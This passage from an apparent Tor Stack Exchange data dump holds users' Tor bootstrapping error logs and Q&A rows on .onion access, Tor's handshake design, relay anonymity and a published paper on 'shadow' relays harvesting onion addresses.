0% of path bw.) &#xA;3/14/19, 17:35:15.497 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 10; recommendation warn; host 3B5C6ED2C1DECEB32BF1AD9B7B272F4CE9CE0656 at 89.249.65.153:443) &#xA;3/14/19, 17:35:15.498 [WARN] 10 connections have failed: &#xA;3/14/19, 17:35:15.499 [WARN]  10 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:35:15.518 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:35:15.519 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:35:15.519 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 11; recommendation warn; host BCC94CDF386887FC10365152104978ADED8DDDEA at 164.132.228.61:443) &#xA;3/14/19, 17:35:15.519 [WARN] 11 connections have failed: &#xA;3/14/19, 17:35:15.519 [WARN]  10 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:35:15.519 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:35:15.521 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 12; recommendation warn; host 9EA4649400C7D35E20C734FA737CF615E925F1E4 at 108.61.99.149:443) &#xA;3/14/19, 17:35:15.521 [WARN] 12 connections have failed: &#xA;3/14/19, 17:35:15.522 [WARN]  10 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:35:15.522 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:35:15.522 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:37:11.445 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:37:11.445 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:37:11.445 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:37:11.445 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:37:11.445 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:37:11.780 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 13; recommendation warn; host 07F5D725E456EDC1D84115DE7299F5B994F5D97B at 80.240.28.19:443) &#xA;3/14/19, 17:37:11.781 [WARN] 13 connections have failed: &#xA;3/14/19, 17:37:11.781 [WARN]  11 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:37:11.781 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:37:11.781 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:37:11.801 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:37:11.801 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:37:11.801 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 14; recommendation warn; host D24D0C28AB48768CF8B79DD762D61DB4FD015677 at 109.70.100.14:443) &#xA;3/14/19, 17:37:11.801 [WARN] 14 connections have failed: &#xA;3/14/19, 17:37:11.801 [WARN]  11 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:37:11.801 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:37:11.801 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:37:11.802 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 15; recommendation warn; host 6565F31D9EC0C7DFFEA1920BE3BA4C73EF35B5C4 at 158.69.207.216:9001) &#xA;3/14/19, 17:37:11.802 [WARN] 15 connections have failed: &#xA;3/14/19, 17:37:11.802 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:37:11.802 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:37:11.802 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:37:11.803 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 16; recommendation warn; host 380C8120BD819DF8AC22B7D7CDE65B03C90607BE at 129.100.38.88:9001) &#xA;3/14/19, 17:37:11.803 [WARN] 16 connections have failed: &#xA;3/14/19, 17:37:11.803 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:37:11.803 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:37:11.803 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:37:11.804 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:37:11.804 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 17; recommendation warn; host B411027C926A9BFFCF7DA91E3CAF1856A321EFFD at 51.15.76.56:443) &#xA;3/14/19, 17:37:11.804 [WARN] 17 connections have failed: &#xA;3/14/19, 17:37:11.804 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:37:11.804 [WARN]  3 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:37:11.804 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:37:11.805 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:37:11.805 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 18; recommendation warn; host 9F5068310818ED7C70B0BC4087AB55CB12CB4377 at 81.7.11.96:443) &#xA;3/14/19, 17:37:11.805 [WARN] 18 connections have failed: &#xA;3/14/19, 17:37:11.805 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:37:11.805 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:37:11.805 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:37:11.806 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:38:18.746 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:38:18.746 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:38:18.746 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:38:18.746 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:38:18.746 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:38:18.760 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 19; recommendation warn; host 6058AA626D4C67737D869E49D403425423F92AE1 at 148.251.46.49:80) &#xA;3/14/19, 17:38:18.760 [WARN] 19 connections have failed: &#xA;3/14/19, 17:38:18.760 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:38:18.760 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:38:18.760 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:38:18.760 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:38:18.779 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 20; recommendation warn; host 52BFADA8BEAA01BA46C8F767F83C18E2FE50C1B9 at 85.25.159.65:80) &#xA;3/14/19, 17:38:18.779 [WARN] 20 connections have failed: &#xA;3/14/19, 17:38:18.779 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:38:18.779 [WARN]  6 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:38:18.779 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:38:18.779 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:38:18.784 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:38:18.784 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:38:18.784 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 21; recommendation warn; host E64625ED5B01A1F0E97BCF0B5D431A432A24F408 at 128.39.8.29:443) &#xA;3/14/19, 17:38:18.784 [WARN] 22 connections have failed: &#xA;3/14/19, 17:38:18.784 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:38:18.784 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:38:18.785 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:38:18.785 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:38:18.785 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;3/14/19, 17:38:18.785 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 22; recommendation warn; host BE0757BE6720A2B43DF0072B7CCE0583FCDD9E3A at 95.141.35.15:443) &#xA;3/14/19, 17:38:18.785 [WARN] 25 connections have failed: &#xA;3/14/19, 17:38:18.785 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:38:18.786 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:38:18.786 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;3/14/19, 17:38:18.786 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:38:18.786 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:38:18.786 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 23; recommendation warn; host 1079E628FC6B0025656AC024F2D9975C441498CD at 51.15.185.201:443) &#xA;3/14/19, 17:38:18.786 [WARN] 26 connections have failed: &#xA;3/14/19, 17:38:18.786 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:38:18.787 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:38:18.787 [WARN]  3 connections died in state connect()ing with SSL state (No SSL object) &#xA;3/14/19, 17:38:18.787 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:38:18.787 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;3/14/19, 17:38:18.788 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 24; recommendation warn; host 1A020A414D8AB25F54415C8C1E75A5562A9DD9A6 at 37.187.103.54:443) &#xA;3/14/19, 17:38:18.788 [WARN] 28 connections have failed: &#xA;3/14/19, 17:38:18.788 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;3/14/19, 17:38:18.788 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/14/19, 17:38:18.788 [WARN]  4 connections died in state connect()ing with SSL state (No SSL object) &#xA;3/14/19, 17:38:18.788 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;3/14/19, 17:38:18.789 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read server session ticket A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25503" LastEditorUserId="112" LastEditDate="2019-03-15T19:29:41.800" LastActivityDate="2019-03-15T19:29:41.800" Title="Having problems with bootstrapping" Tags="|connection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19598" PostTypeId="1" CreationDate="2019-03-14T18:18:26.627" Score="1" ViewCount="7166" Body="&lt;p&gt;Hmm. We’re having trouble finding that site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can’t connect to the server at ecleg2gwe2edwiuf.onion.&#xA;If that address is correct, here are three other things you can try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Try again later.&#xA;Check your network connection.&#xA;If you are connected but behind a firewall, check that Tor Browser has permission to access the Web.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting this error but i can open other sites like duckduckgo but i cant open .onion sites &#xA;plz help me...&lt;/p&gt;&#xA;" OwnerUserId="25504" LastActivityDate="2022-07-24T13:40:00.557" Title="i can't open .onion sites on tor" Tags="|tor-browser-bundle|darknet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19599" PostTypeId="2" ParentId="9994" CreationDate="2019-03-14T19:12:05.850" Score="1" Body="&lt;p&gt;TOR is not legal in &lt;strong&gt;Belarus&lt;/strong&gt;, Ukraine's neighbor. Belarusian government maintains a list of blocked internet resources. All instruments that could allow users to access these resources are forbidden there.&lt;/p&gt;&#xA;" OwnerUserId="25505" LastActivityDate="2019-03-14T19:12:05.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19600" PostTypeId="1" CreationDate="2019-03-15T15:03:14.163" Score="0" ViewCount="69" Body="&lt;p&gt;I tried to make an overseas payment using my Debit Card and it wouldn't go through. The error said &quot;Did not pass gateway filter&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is Tor what I need to bypass this filter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to put this question in various different ways but cannot find a suitable answer so my apologies if I'm duplicating anything.  &lt;/p&gt;&#xA;" OwnerUserId="25510" LastActivityDate="2019-04-15T01:00:55.127" Title="Is this what I need?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19601" PostTypeId="2" ParentId="19600" CreationDate="2019-03-15T18:22:19.607" Score="1" Body="&lt;p&gt;It’s difficult to say without knowing more details. In general using Tor often makes it more difficult to make purchases online since some payment processors will classify Tor traffic as fraudulent. In your case, the service is probably not set up to process your type of debit card. You may have more success using a credit card if possible. If they’re preventing the transaction based on your location, then Tor might help if you use an exit node from the same country. But if this is the case, then a VPN would be better since you have more control over your “exit”, and you don’t need the anonymity features of Tor.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2019-03-15T18:22:19.607" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19604" PostTypeId="1" CreationDate="2019-03-16T15:24:02.113" Score="1" ViewCount="54" Body="&lt;p&gt;For building a circuit Alice contacts Bob (OR) and send her pub diffie-hellmann key encrypted with Bobs pub key. Bob sends his public-diffie-hellmann key and the session key hashed (&quot;only&quot; TLS encrypted...) back to Alice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encrypting the diffie-key with Bob public's key makes some kind of authentication because only Bob can know Alice public secret and calculate the correct hash. Why is it done that way? In my opinion it is against the diffie-helllmann protocol where p,g,g^(a) are public and authentication is done by signing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob could just sign the answer and everything would be the authenticated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be some kind of &quot;proof-of-work&quot; to harden against ddos attacks?&lt;/p&gt;&#xA;" OwnerUserId="25515" LastEditorUserId="25515" LastEditDate="2019-03-17T20:22:31.513" LastActivityDate="2019-03-17T20:22:31.513" Title="Why is the pub-key of diffie hellmann from Alice (OP) to Bob (OR) encrypted?" Tags="|circuit|protocol|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19605" PostTypeId="2" ParentId="9159" CreationDate="2019-03-16T15:55:25.550" Score="0" Body="&lt;p&gt;You do not need unique circuit IDs for all neighboring connections for one onion node. You have encrypted TLS sessions between neighboring nodes. Now some circuits get multiplexed into one session and so you need the circuit IDs to differentiate.&lt;/p&gt;&#xA;" OwnerUserId="25515" LastActivityDate="2019-03-16T15:55:25.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19606" PostTypeId="1" CreationDate="2019-03-16T16:08:41.233" Score="1" ViewCount="233" Body="&lt;p&gt;Tor nodes build encrypted TLS sessions between neighbors to multiplex circuits of users. Multiplexing helps to anonymize users (?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an increasing number of middle relays multiplexing becomes rare (because Guard nodes... and Exit nodes are some &quot;predefined&quot; set). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it happen that with an increasing number of relays (often middle relays) timing attacks become much stronger? (maybe I could use netflow, etc. ...) Extrem case: each circuit has it's own middle relay.&lt;/p&gt;&#xA;" OwnerUserId="25515" LastActivityDate="2022-01-04T00:04:45.433" Title="Increasing number of middle relays weakens the anonymity?" Tags="|anonymity|deanonymization|attacks|guard-node|middle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19607" PostTypeId="1" CreationDate="2019-03-16T17:43:28.390" Score="3" ViewCount="220" Body="&lt;p&gt;I've been researching methods to monitor hidden services for a university project. I came across &lt;a href=&quot;https://www.ieee-security.org/TC/SP2013/papers/4977a080.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt; which talks about injecting relays as hidden service directories to gather onion addresses. To make this affordable, the researchers take advantage of what they call &quot;shadowing&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, by inspecting the Tor source code we noticed&#xA;  that while only two relays per IP appear in the Consensus,&#xA;  all running relays are monitored by the authorities; more&#xA;  importantly, statistics on them is collected, including the&#xA;  uptime which is used to decide which flags a relay will&#xA;  be assigned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would allow them to get the necessary flags to get the HSDir flag for more than two relays on a single IP.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our approach is based on shadow relays described&#xA;  in the previous section. An attacker can use this artifact of&#xA;  Tor’s design as follows. She can rent 50 IP addresses and&#xA;  run 24 relays on each of them for 25 hours thus running&#xA;  1200 Tor instances in total; 100 of them should appear in&#xA;  the consensus. The fingerprints of the public keys of the&#xA;  relays should fall into every second gap in the fingerprint&#xA;  circle. At the end of 25 hour time period all of the relays&#xA;  will have HSDir flags but only 100 of them will appear in&#xA;  the consensus and the rest will be shadow relays. The idea&#xA;  is to gradually make active relays unreachable to the Tor&#xA;  authorities so that shadow relays become active and thus&#xA;  gradually cover all gaps in the circular list during 24 hours.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this technique is still possible given that the paper is from 2013 and this might have been patched since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the &quot;stable&quot; flag is a requirement to get the HSDir flag, how long does a relay need to run in order to get the HSDir flag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Tor documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Stable&quot; -- A router is 'Stable' if it is active, and either its Weighted&#xA;     MTBF is at least the median for known active routers or its Weighted MTBF&#xA;     corresponds to at least 7 days.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this mean that 7 days of uptime is not a requirement for the &quot;stable&quot; flag?&lt;/p&gt;&#xA;" OwnerUserId="25516" LastActivityDate="2019-06-11T21:02:01.750" Title="Does Tor still monitor &quot;shadow&quot; relays?" Tags="|onion-services|consensus|traffic-analysis|hsdir|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19608" PostTypeId="2" ParentId="19598" CreationDate="2019-03-17T11:00:33.220" Score="1" Body="&lt;p&gt;I've checked the entered Onion both in TOR browser and Tor2Web service. Non of them, could load the address. Maybe the link is down which is normal in TOR network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kXVXx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXVXx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggesting check in other time or contact the owner if you have access.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-17T11:00:33.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19610" PostTypeId="2" ParentId="3778" CreationDate="2019-03-17T21:00:22.507" Score="0" Body="&lt;p&gt;I'd heard that if you have other programs like browsers that communicate with the web open at the same time, then these might be ‘leaky’ and possibly divulge information about your system, not sure if it's location, or something else? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, I copy &amp;amp; paste the details into &lt;strong&gt;notepad&lt;/strong&gt;; then close the browsers &amp;amp; cloud sync program or anything that's still regularly communicating with the net; in addition, I use a VPN. Don't know if I need to take other security precautions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might sound like overkill, but as I'm not too knowledgeable about these things, I didn't want to take that chance. Personally, I'd love to be able to use LastPass on Tor!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K!&lt;/p&gt;&#xA;" OwnerUserId="25520" LastActivityDate="2019-03-17T21:00:22.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19611" PostTypeId="1" CreationDate="2019-03-18T02:30:01.047" Score="1" ViewCount="584" Body="&lt;p&gt;here's my log i don't know why it wont work. i have even tried using a windows 7 virtual machine. sometimes after hours of trying to getting it to work it does and i don't know what is the issue. my date and time are correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3/17/2019 21:27:06 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2019 21:27:06 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2019 21:27:06 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2019 21:27:06 PM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/17/2019 21:27:06 PM.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/17/2019 21:27:07 PM.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/17/2019 21:27:33 PM.500 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host BD6A829255CB08E66FBE7D3748363586E46B3810 at 171.25.193.9:80) &#xA;3/17/2019 21:27:33 PM.500 [WARN] 10 connections have failed: &#xA;3/17/2019 21:27:33 PM.500 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/17/2019 21:27:33 PM.500 [WARN]  1 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in CLOSED &#xA;3/17/2019 21:27:33 PM.500 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;3/17/2019 21:27:33 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/17/2019 21:27:33 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/17/2019 21:27:33 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/17/2019 21:27:33 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25521" LastEditorUserId="5234" LastEditDate="2019-03-28T18:34:31.183" LastActivityDate="2022-04-12T06:07:05.773" Title="Tor Failed to connected tor network" Tags="|help|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19617" PostTypeId="1" CreationDate="2019-03-19T18:19:48.523" Score="0" ViewCount="23" Body="&lt;p&gt;Windows 10 (1809).  TOR Version 8.0.6. TOR works perfectly after system starts. If then closed down and re-opened just hangs. Only works again after system re-booted,&lt;/p&gt;&#xA;" OwnerUserId="25537" LastActivityDate="2019-03-19T18:19:48.523" Title="TOR Hanging after closed down" Tags="|connection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19618" PostTypeId="2" ParentId="9529" CreationDate="2019-03-19T20:48:19.597" Score="1" Body="&lt;p&gt;If you're looking for a handy/full featured tunnel for streaming all the Windows 10 traffic through TOR, I suggest proxifier which you can set TOR as a SOCKs5 proxy server with DNS resolvation through proxy option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yJIHL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yJIHL.png&quot; alt=&quot;Proxifier&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you check the connection status through TOR, it will pass if everything is OK.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cd8J5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cd8J5.png&quot; alt=&quot;Checking Proxifier&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-19T20:48:19.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19619" PostTypeId="2" ParentId="19611" CreationDate="2019-03-20T12:22:30.347" Score="0" Body="&lt;p&gt;Looks like Tor is being blocked. SSL is failing, and from my experience, that usually results from the network preventing a connection to the tor network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try using bridges. Currently obsf4 is recommended, and I believe meek-azure works in china&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-03-20T12:22:30.347" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19620" PostTypeId="2" ParentId="19606" CreationDate="2019-03-20T12:27:36.283" Score="0" Body="&lt;p&gt;That is wholly incorrect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The power of the Tor network is in numbers. Since there are currently over 6,000 known nodes, the probability of targeting enough of them to even attack a few users is &lt;em&gt;highly&lt;/em&gt; improbable. Your middle and exit relay change constantly, every 10 minutes or so, but your Guard doesn't. It's set to a (hopefully) trusted node for a couple months&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, if an attacker had enough nodes within the Tor network, and the resource to do so, an attack is almost feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just from a mathematical standpoint, having more nodes is better, and certainly in practice &lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-03-20T12:27:36.283" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
